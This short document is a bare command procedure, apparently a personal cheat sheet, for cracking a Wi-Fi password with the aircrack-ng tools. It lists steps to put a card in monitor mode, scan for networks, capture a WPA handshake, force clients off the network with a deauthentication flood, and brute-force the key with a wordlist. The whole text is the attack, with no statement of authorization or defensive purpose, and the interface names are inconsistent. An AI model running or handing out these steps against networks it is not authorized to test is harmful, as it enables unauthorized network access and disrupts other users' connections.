Procedure
Scanning->Capturing/De-authorization handshake packet->Cracking
Scanning
#airmon-ng check kill
#airmon-ng start wlan0mon
#airodump-ng wlan0mon
Capturing/De-authorization
#airodump-ng –bssid MACADDRESS -c Channel –write DUMPFILE wlanmon0
#aireplay-ng –deauth 100 -a MACADDRESS wlanmon0 (for deauthorization if required)
Cracking/Brute-forcing
#aircrack-ng DUMPFILE -w WORDLIST